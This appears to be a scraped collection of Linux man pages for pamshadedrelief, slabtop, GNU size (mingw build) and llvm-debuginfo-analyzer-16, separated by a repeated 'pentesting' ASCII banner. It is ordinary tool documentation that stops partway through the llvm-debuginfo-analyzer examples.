➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamshadedrelief and provides detailed information about the command pamshadedrelief, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamshadedrelief.

.

NAME 🖥️ pamshadedrelief 🖥️

generate shaded relief image from an elevation map

SYNOPSIS

pamshadedrelief

[-gamma g]

DESCRIPTION

This program is part of Netpbm(1) .

pamshadedrelief creates a shaded relief image from an elevation map. A shaded relief image is a visual image of terrain, showing the terrain as if illuminated by oblique light and viewed from above, so that the brightess of each spot depends upon its slope. A common example of a shaded relief image is a relief map of the Earth, which shows mountains and valleys.

The image pamshadedrelief creates is as if illumated by a light source from the left.

The output image is a PAM with tuple type GRAYSCALE.

The program pamcrater is a good thing to use to demonstrate the function of pamshadedrelief. It generates a terrain map of a cratered landscape.

    $ pamcrater | pamshadedrelief | pamx

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamshadedrelief recognizes the following command line option:

-gamma factor
-g factor
The specified factor is used to gamma adjust the image in the same manner as performed by pnmgamma. The default value is 1.0, which results in a medium contrast image. Values larger than 1 lighten the image and reduce contrast, while values less than 1 darken the image, increasing contrast.

Note that this is separate from the gamma correction that is part of the definition of the PAM GRAYSCALE format. The image pamshadedrelief generates is a genuine, gamma-corrected PAM GRAYSCALE image in any case. This option simply changes the contrast and may compensate for a display device that does not correctly render PAM GRAYSCALE images.

DESIGN NOTES

The**-gamma** option isn’t really necessary since you can achieve the same effect by piping the output from pamshadedrelief through pnmgamma. However, pamshadedrelief performs an internal gamma map anyway in the process of rendering the elevation array into the PAM GRAYSCALE format, so there’s no additional overhead in allowing an additional gamma adjustment.

SEE ALSO

ppmrelief(1) pnmgamma(1) , pnmsmooth(1) pamcrater(1) pam(1) ,

AUTHOR

pgmcrater, from which this is derived, was written by John Walker:

John Walker
Autodesk SA
Avenue des Champs-Montants 14b
CH-2074 MARIN
Suisse/Schweiz/Svizzera/Svizra/Switzerland
    Usenet:[email protected]
    Fax:038/33 88 15
    Voice:038/33 76 33

Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, without any conditions or restrictions. This software is provided “as is” without express or implied warranty.

HISTORY

pgmcrater was split into pamshadedrelief and pamcrater in Netpbm 10.68 (September 2014). See the history section of the pamcrater manual for details.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamshadedrelief.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

401 - Linux cli command slabtop

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command slabtop and provides detailed information about the command slabtop, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the slabtop.

NAME 🖥️ slabtop 🖥️

display kernel slab cache information in real time

SYNOPSIS

slabtop [options]

DESCRIPTION

slabtop displays detailed kernel slab cache information in real time. It displays a listing of the top caches sorted by one of the listed sort criteria. It also displays a statistics header filled with slab layer information.

OPTIONS

Normal invocation of slabtop does not require any options. The behavior, however, can be fine-tuned by specifying one or more of the following flags:

-d, –delay=N
Refresh the display every n in seconds. By default, slabtop refreshes the display every three seconds. To exit the program, hit q. This cannot be combined with the -o option.

-s, –sort=S
Sort by S, where S is one of the sort criteria.

-o, –once
Display the output once and then exit.

-V, –version
Display version information and exit.

-h, –help
Display usage information and exit.

SORT CRITERIA

The following are valid sort criteria used to sort the individual slab caches and thereby determine what are the “top” slab caches to display. The default sort criteria is to sort by the number of objects (“o”).

The sort criteria can also be changed while slabtop is running by pressing the associated character.

characterdescriptionheader
anumber of active objectsACTIVE
bobjects per slabOBJ/SLAB
ccache sizeCACHE SIZE
lnumber of slabsSLABS
vnumber of active slabsN/A
nnameNAME
onumber of objectsOBJS
ppages per slabN/A
sobject sizeOBJ SIZE
ucache utilizationUSE

COMMANDS

slabtop accepts keyboard commands from the user during use. The following are supported. In the case of letters, both cases are accepted.

Each of the valid sort characters are also accepted, to change the sort routine. See the section SORT CRITERIA.

<SPACEBAR>
Refresh the screen.

Q
Quit the program.

FILES

/proc/slabinfo
slab information

SEE ALSO

free(1), ps(1), top(1), vmstat(8)

NOTES

Currently, slabtop requires a 2.4 or later kernel (specifically, a version 1.1 or later /proc/slabinfo). Kernel 2.2 should be supported in the future.

The slabtop statistic header is tracking how many bytes of slabs are being used and is not a measure of physical memory. The ‘Slab’ field in the /proc/meminfo file is tracking information about used slab physical memory.

The CACHE SIZE column is not accurate, it’s the upper limit of memory used by specific slab. When system using slub (most common case) is under high memory pressure, there are slab order fallbacks, which means “pages per slab” is not constant and may decrease.

AUTHORS

Written by Chris Rivera and Robert Love.

slabtop was inspired by Martin Bligh’s perl script, vmtop.

REPORTING BUGS

Please send bug reports to

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

402 - Linux cli command i686-w64-mingw32-size

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-size and provides detailed information about the command i686-w64-mingw32-size, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-size.

NAME 🖥️ i686-w64-mingw32-size 🖥️

list section sizes and total size of binary files

SYNOPSIS

size [-A|-B|-G|–format=compatibility] [–help] [-d|-o|-x|–radix=number] [–common] [-t|–totals] [–target=bfdname] [-V|–version] [-f] [objfile…]

DESCRIPTION

The GNU size utility lists the section sizes and the total size for each of the binary files objfile on its argument list. By default, one line of output is generated for each file or each module if the file is an archive.

objfile… are the files to be examined. If none are specified, the file a.out will be used instead.

OPTIONS

The command-line options have the following meanings:

-A

-B

-G

–format=compatibility

Using one of these options, you can choose whether the output from GNU size resembles output from System V size (using -A, or –format=sysv), or Berkeley size (using -B, or –format=berkeley). The default is the one-line format similar to Berkeley’s. Alternatively, you can choose the GNU format output (using -G, or –format=gnu), this is similar to Berkeley’s output format, but sizes are counted differently. Here is an example of the Berkeley (default) format of output from size: $ size –format=Berkeley ranlib size text data bss dec hex filename 294880 81920 11592 388392 5ed28 ranlib 294880 81920 11888 388688 5ee50 size The Berkeley style output counts read only data in the text column, not in the data column, the dec and hex columns both display the sum of the text, data, and bss columns in decimal and hexadecimal respectively. The GNU format counts read only data in the data column, not the text column, and only displays the sum of the text, data, and bss columns once, in the total column. The –radix option can be used to change the number base for all columns. Here is the same data displayed with GNU conventions: $ size –format=GNU ranlib size text data bss total filename 279880 96920 11592 388392 ranlib 279880 96920 11888 388688 size This is the same data, but displayed closer to System V conventions: $ size –format=SysV ranlib size ranlib : section size addr .text 294880 8192 .data 81920 303104 .bss 11592 385024 Total 388392 size : section size addr .text 294880 8192 .data 81920 303104 .bss 11888 385024 Total 388688

–help

-h

-H

-?

Show a summary of acceptable arguments and options.

-d

-o

-x

–radix=number

Using one of these options, you can control whether the size of each section is given in decimal (-d, or –radix=10); octal (-o, or –radix=8); or hexadecimal (-x, or –radix=16). In **–radix=**number, only the three values (8, 10, 16) are supported. The total size is always given in two radices; decimal and hexadecimal for -d or -x output, or octal and hexadecimal if you’re using -o.

–common
Print total size of common symbols in each file. When using Berkeley or GNU format these are included in the bss size.

-t

–totals

Show totals of all objects listed (Berkeley or GNU format mode only).

–target=bfdname
Specify that the object-code format for objfile is bfdname. This option may not be necessary; size can automatically recognize many formats.

-v

-V

–version

Display the version number of size.

-f
Ignored. This option is used by other versions of the size program, but it is not supported by the GNU Binutils version.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), objdump (1), readelf (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

403 - Linux cli command llvm-debuginfo-analyzer-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-debuginfo-analyzer-16 and provides detailed information about the command llvm-debuginfo-analyzer-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-debuginfo-analyzer-16.

NAME 🖥️ llvm-debuginfo-analyzer-16 🖥️

debuginfo-analyzer - Print a logical representation of low-level debug information.

  • SYNOPSIS

  • DESCRIPTION

  • OPTIONS

    • GENERAL

    • ATTRIBUTES

    • PRINT

    • OUTPUT

    • REPORT

    • SELECTION

      • ELEMENTS

      • LINES

      • SCOPES

      • SYMBOLS

      • TYPES

    • COMPARE

    • WARNING

    • INTERNAL

  • EXAMPLES

    • TEST CASE 1 - GENERAL OPTIONS

      • PRINTING MODE

        • BASIC DETAILS

        • SELECT LOGICAL ELEMENTS

      • COMPARISON MODE

        • LOGICAL VIEW

        • LOGICAL ELEMENTS

    • TEST CASE 2 - ASSEMBLER INSTRUCTIONS

      • CodeView - Clang (Windows)

      • CodeView - MSVC (Windows)

      • DWARF - Clang (Linux)

      • DWARF - GCC (Linux)

    • TEST CASE 3 - INCORRECT LEXICAL SCOPE FOR TYPEDEF

      • CodeView - Clang (Windows)

      • CodeView - MSVC (Windows)

      • DWARF - Clang (Linux)

      • DWARF - GCC (Linux)

    • TEST CASE 4 - MISSING NESTED ENUMERATIONS

      • CodeView - Clang (Windows)

      • CodeView - MSVC (Windows)

      • DWARF - Clang (Linux)

      • DWARF - GCC (Linux)

    • TEST CASE 5 - INCORRECT LEXICAL SCOPE FOR VARIABLE

      • CODEVIEW - Clang (Windows)

      • CODEVIEW - MSVC (Windows)

      • DWARF - Clang (Linux)

      • DWARF - GCC (Linux)

    • TEST CASE 6 - FULL LOGICAL VIEW
  • EXIT STATUS

  • SEE ALSO

SYNOPSIS

llvm-debuginfo-analyzer [options] [filename …]

DESCRIPTION

llvm-debuginfo-analyzer parses debug and text sections in binary object files and prints their contents in a logical view, which is a human readable representation that closely matches the structure of the original user source code. Supported object file formats include ELF, Mach-O, PDB and COFF.

The logical view abstracts the complexity associated with the different low-level representations of the debugging information that is embedded in the object file. llvm-debuginfo-analyzer produces a canonical view of the debug information regardless of how it is formatted. The same logical view will be seen regardless of object file format, assuming the debug information correctly represents the same original source code.

The logical view includes the following logical elements: type, scope, symbol and line, which are the basic software elements used in the C/C++ programming language. Each logical element has a set of attributes, such as types, classes, functions, variables, parameters, etc. The –attribute can be used to specify which attributes to include when printing a logical element. A logical element may have a kind that describes specific types of elements. For instance, a scope could have a kind value of function, class, namespace.

llvm-debuginfo-analyzer defaults to print a pre-defined layout of logical elements and attributes. The command line options can be used to control the printed elements (–print), using a specific layout (–report), matching a given pattern (–select, –select-offsets). Also, the output can be limited to specified logical elements using (–select-lines, –select-scopes, –select-symbols, –select-types).

llvm-debuginfo-analyzer can also compare a set of logical views (–compare), to find differences and identify possible debug information syntax issues (–warning) in any object file.

OPTIONS

llvm-debuginfo-analyzer options are separated into several categories, each tailored to a different purpose:

  • GENERAL - Standard LLVM options to display help, version, etc.

  • ATTRIBUTES - Describe how to include different details when printing an element.

  • PRINT - Specify which elements will be included when printing the view.

  • OUTPUT - Describe the supported formats when printing the view.

  • REPORT - Describe the format layouts for view printing.

  • SELECTION - Allows to use specific criteria or conditions to select which elements to print.

  • COMPARE - Compare logical views and print missing and/or added elements.

  • WARNING - Print the warnings detected during the creation of the view.

  • INTERNAL - Internal analysis of the logical view.

GENERAL

This section describes the standard help options, used to display the usage, version, response files, etc.

-h, –help
Show help and usage for this command. (–help-hidden for more).

–help-list
Show help and usage for this command without grouping the options into categories (–help-list-hidden for more).

–help-hidden
Display all available options.

–print-all-options
Print all option values after command line parsing.

–print-options
Print non-default options after command line parsing

–version
Display the version of the tool.

@<FILE>
Read command-line options from <FILE>.

If no input file is specified, llvm-debuginfo-analyzer defaults to read a.out and return an error when no input file is found.

If - is used as the input file, llvm-debuginfo-analyzer reads the input from its standard input stream.

ATTRIBUTES

The following options enable attributes given for the printed elements. The attributes are divided in categories based on the type of data being added, such as: internal offsets in the binary file, location descriptors, register names, user source filenames, additional element transformations, toolchain name, binary file format, etc.

–attribute=<value[,value,…]>
With value being one of the options in the following lists.

=all: Include all the below attributes. =extended: Add low-level attributes. =standard: Add standard high-level attributes.

The following attributes describe the most common information for a logical element. They help to identify the lexical scope level; the element visibility across modules (global, local); the toolchain name that produced the binary file.

=global: Element referenced across Compile Units. =format: Object file format name. =level: Lexical scope level (File=0, Compile Unit=1). =local: Element referenced only in the Compile Unit. =producer: Toolchain identification name.

The following attributes describe files and directory names from the user source code, where the elements are declared or defined; functions with public visibility across modules. These options allow to map the elements to their user code location, for cross references purposes.

=directories: Directories referenced in the debug information. =filename: Filename where the element is defined. =files: Files referenced in the debug information. =pathname: Pathname where the object is defined. =publics: Function names that are public.

The following attributes describe additional logical element source transformations, in order to display built-in types (int, bool, etc.); parameters and arguments used during template instantiation; parent name hierarchy; array dimensions information; compiler generated elements and the underlying types associated with the types aliases.

=argument: Template parameters replaced by its arguments. =base: Base types (int, bool, etc.). =generated: Compiler generated elements. =encoded: Template arguments encoded in the template name. =qualified: The element type include parents in its name. =reference: Element declaration and definition references. =subrange: Subrange encoding information for arrays. =typename: Template parameters. =underlying: Underlying type for type definitions.

The following attributes describe the debug location information for a symbol or scope. It includes the symbol percentage coverage and any gaps within the location layout; ranges determining the code sections attached to a function. When descriptors are used, the target processor registers are displayed.

=coverage: Symbol location coverage. =gaps: Missing debug location (gaps). =location: Symbol debug location. =range: Debug location ranges. =register: Processor register names.

The following attributes are associated with low level details, such as: offsets in the binary file; discriminators added to the lines of inlined functions in order to distinguish specific instances; debug lines state machine registers; elements discarded by the compiler (inlining) or by the linker optimizations (dead-stripping); system compile units generated by the MS toolchain in PDBs.

=discarded: Discarded elements by the linker. =discriminator: Discriminators for inlined function instances. =inserted: Generated inlined abstract references. =linkage: Object file linkage name. =offset: Debug information offset. =qualifier: Line qualifiers (Newstatement, BasicBlock, etc). =zero: Zero line numbers.

The following attribute described specific information for the PE/COFF file format. It includes MS runtime types.

=system: Display PDB’s MS system elements.

The above attributes are grouped into standard and extended categories that can be enabled.

The standard group, contains those attributes that add sufficient information to describe a logical element and that can cover the normal situations while dealing with debug information.

=base =coverage =directories =discriminator =filename =files =format =level =producer =publics =range =reference =zero

The extended group, contains those attributes that require a more extended knowledge about debug information. They are intended when a lower level of detail is required.

=argument =discarded =encoded =gaps =generated =global =inserted =linkage =local =location =offset =operation =pathname =qualified =qualifier =register =subrange =system =typename

PRINT

The following options describe the elements to print. The layout used is determined by the –report. In the tree layout, all the elements have their enclosing lexical scopes printed, even when not explicitly specified.

–print=<value[,value,…]>
With value being one of the options in the following lists.

=all: Include all the below attributes.

The following options print the requested elements; in the case of any given select conditions (–select), only those elements that match them, will be printed. The elements value is a convenient way to specify instructions, lines, scopes, symbols and types all at once.

=elements: Instructions, lines, scopes, symbols and types. =instructions: Assembler instructions for code sections. =lines: Source lines referenced in the debug information. =scopes: Lexical blocks (function, class, namespace, etc). =symbols: Symbols (variable, member, parameter, etc). =types: Types (pointer, reference, type alias, etc).

The following options print information, collected during the creation of the elements, such as: scope contributions to the debug information; summary of elements created, printed or matched (–select); warnings produced during the view creation.

=sizes: Debug Information scopes contributions. =summary: Summary of elements allocated, selected or printed. =warnings: Warnings detected.

Note: The –print=sizes option is ELF specific.

OUTPUT

The following options describe how to control the output generated when printing the logical elements.

–output-file=<path>
Redirect the output to a file specified by <path>, where - is the standard output stream.

llvm-debuginfo-analyzer has the concept of split view. When redirecting the output from a complex binary format, it is divided into individual files, each one containing the logical view output for a single compilation unit.

–output-folder=<name>
The folder to write a file per compilation unit when –output=split is specified.

–output-level=<level>
Only print elements up to the given lexical level value. The input file is at lexical level zero and a compilation unit is at lexical level one.

–output=<value[,value,…]>
With value being one of the options in the following lists.

=all: Include all the below outputs.

=json: Use JSON as the output format (Not implemented). =split: Split the output by Compile Units. =text: Use a free form text output.

–output-sort=<key>
Primary key when ordering the elements in the output (default: line). Sorting by logical element kind, requires be familiarity with the element kind selection options (–select-lines, –select-scopes, –select-symbols, –select-types), as those options describe the different logical element kinds.

=kind: Sort by element kind. =line: Sort by element line number. =name: Sort by element name. =offset: Sort by element offset.

REPORT

Depending on the task being executed (print, compare, select), several layouts are supported to display the elements in a more suitable way, to make the output easier to understand.

–report=<value[,value,…]>
With value being one of the options in the following list.

=all: Include all the below reports.

=children: Elements and children are displayed in a tree format. =list: Elements are displayed in a tabular format. =parents: Elements and parents are displayed in a tree format. =view: Elements, parents and children are displayed in a tree format.

The list layout presents the logical elements in a tabular form without any parent-child relationship. This may be the preferred way to display elements that match specific conditions when comparing logical views, making it easier to find differences.

The children, parents and view layout displays the elements in a tree format, with the scopes representing their nodes, and types, symbols, lines and other scopes representing the children. The layout shows the lexical scoping relationship between elements, with the binary file being the tree root (level 0) and each compilation unit being a child (level 1).

The children layout includes the elements that match any given criteria (–select) or (–compare) and its children.

The parents layout includes the elements that match any given criteria (–select) or (–compare) and its parents.

The combined view layout includes the elements that match any given criteria (–select) or (–compare), its parents and children.

Notes:

  1. When a selection criteria (–select) is specified with no report option, the list layout is selected.

  2. The comparison mode always uses the view layout.

SELECTION

When printing an element, different data can be included and it varies (–attribute) from data directly associated with the binary file (offset) to high level details such as coverage, lexical scope level, location. As the printed output can reach a considerable size, several selection options, enable printing of specific elements.

The pattern matching can ignore the case (–select-nocase) and be extended to use regular expressions (–select-regex).

ELEMENTS

The following options allow printing of elements that match the given <pattern>, offset <value> or an element <condition>.

–select=<pattern>
Print all elements whose name or line number matches the given <pattern>.

–select-offsets=<value[,value,…]>
Print all elements whose offset matches the given values. See –attribute option.

–select-elements=<condition[,condition,…]>
Print all elements that satisfy the given <condition>. With condition being one of the options in the following list.

=discarded: Discarded elements by the linker. =global: Element referenced across Compile Units. =optimized: Optimized inlined abstract references.

–select-nocase
Pattern matching is case-insensitive when using –select.

–select-regex
Treat any <pattern> strings as regular expressions when selecting with –select option. If –select-nocase is specified, the regular expression becomes case-insensitive.

If the <pattern> criteria is too general, a more selective option can be specified to target a particular category of elements: lines (–select-lines), scopes (–select-scopes), symbols (–select-symbols) and types (–select-types). These options require knowledge of the debug information format (DWARF, CodeView, COFF), as the given kind describes a very specific type of element.

LINES

The following options allow printing of lines that match the given <kind>. The given criteria describes the debug line state machine registers.

–select-lines=<kind[,kind,…]>
With kind being one of the options in the following list.

=AlwaysStepInto: marks an always step into. =BasicBlock: Marks a new basic block. =Discriminator: Line that has a discriminator. =EndSequence: Marks the end in the sequence of lines. =EpilogueBegin: Marks the start of a function epilogue. =LineDebug: Lines that correspond to debug lines. =LineAssembler: Lines that correspond to disassembly text. =NeverStepInto: marks a never step into. =NewStatement: Marks a new statement. =PrologueEnd: Marks the end of a function prologue.

SCOPES

The following options allow printing of scopes that match the given <kind>.

–select-scopes=<kind[,kind,…]>
With kind being one of the options in the following list.

=Aggregate: A class, structure or union. =Array: An array. =Block: A generic block (lexical block or exception block). =CallSite: A call site. =CatchBlock: An exception block. =Class: A class. =CompileUnit: A compile unit. =EntryPoint: A subroutine entry point. =Enumeration: An enumeration. =Function: A function. =FunctionType: A function pointer. =InlinedFunction: An inlined function. =Label: A label. =LexicalBlock: A lexical block. =Namespace: A namespace. =Root: The element representing the main scope. =Structure: A structure. =Subprogram: A subprogram. =Template: A template definition. =TemplateAlias: A template alias. =TemplatePack: A template pack. =TryBlock: An exception try block. =Union: A union.

SYMBOLS

The following options allow printing of symbols that match the given <kind>.

–select-symbols=<kind[,kind,…]>
With kind being one of the options in the following list.

=CallSiteParameter: A call site parameter. =Constant: A constant symbol. =Inheritance: A base class. =Member: A member class. =Parameter: A parameter to function. =Unspecified: Unspecified parameters to function. =Variable: A variable.

TYPES

The following options allow printing of types that match the given <kind>.

–select-types=<kind[,kind,…]>
With kind being one of the options in the following list.

=Base: Base type (integer, boolean, etc). =Const: Constant specifier. =Enumerator: Enumerator. =Import: Import declaration. =ImportDeclaration: Import declaration. =ImportModule: Import module. =Pointer: Pointer type. =PointerMember: Pointer to member function. =Reference: Reference type. =Restrict: Restrict specifier. =RvalueReference: R-value reference. =Subrange: Array subrange. =TemplateParam: Template parameter. =TemplateTemplateParam: Template template parameter. =TemplateTypeParam: Template type parameter. =TemplateValueParam: Template value parameter. =Typedef: Type definition. =Unspecified: Unspecified type. =Volatile: Volatile specifier.

COMPARE

When dealing with debug information, there are situations when the printing of the elements is not the correct approach. That is the case, when we are interested in the effects caused by different versions of the same toolchain, or the impact of specific compiler optimizations.

For those cases, we are looking to see which elements have been added or removed. Due to the complicated debug information format, it is very difficult to use a regular diff tool to find those elements; even impossible when dealing with different debug formats.

llvm-debuginfo-analyzer supports a logical element comparison, allowing to find semantic differences between logical views, produced by different toolchain versions or even debug information formats.

When comparing logical views created from different debug formats, its accuracy depends on how close the debug information represents the user code. For instance, a logical view created from a binary file with DWARF debug information may include more detailed data than a logical view created from a binary file with CodeView/COFF debug information.

The following options describe the elements to compare.

–compare=<value[,value,…]>
With value being one of the options in the following list.

=all: Include all the below elements.

=lines: Include lines. =scopes: Include scopes. =symbols: Include symbols. =types: Include types.

llvm-debuginfo-analyzer takes the first binary file on the command line as the reference and the second one as the target. To get a more descriptive report, the comparison is done twice. The reference and target views are swapped, in order to produce those missing elements from the target view and those added elements to the reference view.

See –report options on how to describe the comparison reports.

WARNING

When reading the input object files, llvm-debuginfo-analyzer can detect issues in the raw debug information. These may not be considered fatal to the purpose of printing a logical view but they can give an indication about the quality and potentially expose issues with the generated debug information.

The following options describe the warnings to be recorded for later printing, if they are requested by –print.

–warning=<value[,value,…]>
With value being one of the options in the following list.

=all: Include all the below warnings.

The following options collect additional information during the creation of the logical view, to include invalid coverage values and locations for symbols; invalid code ranges; lines that are zero.

=coverages: Invalid symbol coverages values. =lines: Debug lines that are zero. =locations: Invalid symbol locations. =ranges: Invalid code ranges.

INTERNAL

For a better understanding of the logical view, access to more detailed internal information could be needed. Such data would help to identify debug information processed or incorrect logical element management. Typically these kind of options are available only in debug builds.

llvm-debuginfo-analyzer supports these advanced options in both release and debug builds, with the exception of the unique ID that is generated only in debug builds.

–internal=<value[,value,…]>
With value being one of the options in the following list.

=all: Include all the below options.

The following options allow to check the integrity of the logical view; collect the debug tags that are processed or not implemented; ignore the logical element line number, to facilitate the logical view comparison when using external comparison tools; print the command line options used to invoke llvm-debuginfo-analyzer.

=id: Print unique element ID. =cmdline: Print command line. =integrity: Check elements integrity. =none: Ignore element line number. =tag: Debug information tags.

Note: For ELF format, the collected tags represent the debug tags that are not processed. For PE/COFF format, they represent the tags that are processed.

EXAMPLES

This section includes some real binary files to show how to use llvm-debuginfo-analyzer to print a logical view and to diagnose possible debug information issues.

TEST CASE 1 - GENERAL OPTIONS

The below example is used to show different output generated by llvm-debuginfo-analyzer. We compiled the example for an X86 ELF target with Clang (-O0 -g):

1 using INTPTR = const int *; 2 int foo(INTPTR ParamPtr, unsigned ParamUnsigned, bool ParamBool) { 3 if (ParamBool) { 4 typedef int INTEGER; 5 const INTEGER CONSTANT = 7; 6 return CONSTANT; 7 } 8 return ParamUnsigned; 9 }

PRINTING MODE

In this mode llvm-debuginfo-analyzer prints the logical view or portions of it, based on criteria patterns (including regular expressions) to select the kind of logical elements to be included in the output.

BASIC DETAILS

The following command prints basic details for all the logical elements sorted by the debug information internal offset; it includes its lexical level and debug info format.

llvm-debuginfo-analyzer –attribute=level,format –output-sort=offset –print=scopes,symbols,types,lines,instructions test-dwarf-clang.o

or

llvm-debuginfo-analyzer –attribute=level,format –output-sort=offset –print=elements test-dwarf-clang.o

Each row represents an element that is present within the debug information. The first column represents the scope level, followed by the associated line number (if any), and finally the description of the element.

Logical View: [000] {File} ’test-dwarf-clang.o’ -> elf64-x86-64

[001]             {CompileUnit} 'test.cpp'
[002]     2         {Function} extern not_inlined 'foo' -> 'int'
[003]     2           {Parameter} 'ParamPtr' -> 'INTPTR'
[003]     2           {Parameter} 'ParamUnsigned' -> 'unsigned int'
[003]     2           {Parameter} 'ParamBool' -> 'bool'
[003]                 {Block}
[004]     5             {Variable} 'CONSTANT' -> 'const INTEGER'
[004]     5             {Line}
[004]                   {Code} 'movl  $0x7, -0x1c(%rbp)'
[004]     6             {Line}
[004]                   {Code} 'movl  $0x7, -0x4(%rbp)'
[004]                   {Code} 'jmp   0x6'
[004]     8             {Line}
[004]                   {Code} 'movl  -0x14(%rbp), %eax'
[003]     4           {TypeAlias} 'INTEGER' -> 'int'
[003]     2           {Line}
[003]                 {Code} 'pushq   %rbp'
[003]                 {Code} 'movq    %rsp, %rbp'
[003]                 {Code} 'movb    %dl, %al'
[003]                 {Code} 'movq    %rdi, -0x10(%rbp)'
[003]                 {Code} 'movl    %esi, -0x14(%rbp)'
[003]                 {Code} 'andb    $0x1, %al'
[003]                 {Code} 'movb    %al, -0x15(%rbp)'
[003]     3           {Line}
[003]                 {Code} 'testb   $0x1, -0x15(%rbp)'
[003]                 {Code} 'je      0x13'
[003]     8           {Line}
[003]                 {Code} 'movl    %eax, -0x4(%rbp)'
[003]     9           {Line}
[003]                 {Code} 'movl    -0x4(%rbp), %eax'
[003]                 {Code} 'popq    %rbp'
[003]                 {Code} 'retq'
[003]     9           {Line}
[002]     1         {TypeAlias} 'INTPTR' -> '* const int'

On closer inspection, we can see what could be a potential debug issue:

[003] {Block} [003] 4 {TypeAlias} ‘INTEGER’ -> ‘int’

The ‘INTEGER’ definition is at level [003], the same lexical scope as the anonymous {Block} (‘true’ branch for the ‘if’ statement) whereas in the original source code the typedef statement is clearly inside that block, so the ‘INTEGER’ definition should also be at level [004] inside the block.

SELECT LOGICAL ELEMENTS

The following prints all instructions, symbols and types that contain ‘inte’ or ‘movl’ in their names or types, using a tab layout and given the number of matches.

llvm-debuginfo-analyzer –attribute=level –select-nocase –select-regex –select=INTe –select=movl –report=list –print=symbols,types,instructions,summary test-dwarf-clang.o

Logical View:
[000]           {File} 'test-dwarf-clang.o'

[001]           {CompileUnit} 'test.cpp'
[003]           {Code} 'movl  $0x7, -0x1c(%rbp)'
[003]           {Code} 'movl  $0x7, -0x4(%rbp)'
[003]           {Code} 'movl  %eax, -0x4(%rbp)'
[003]           {Code} 'movl  %esi, -0x14(%rbp)'
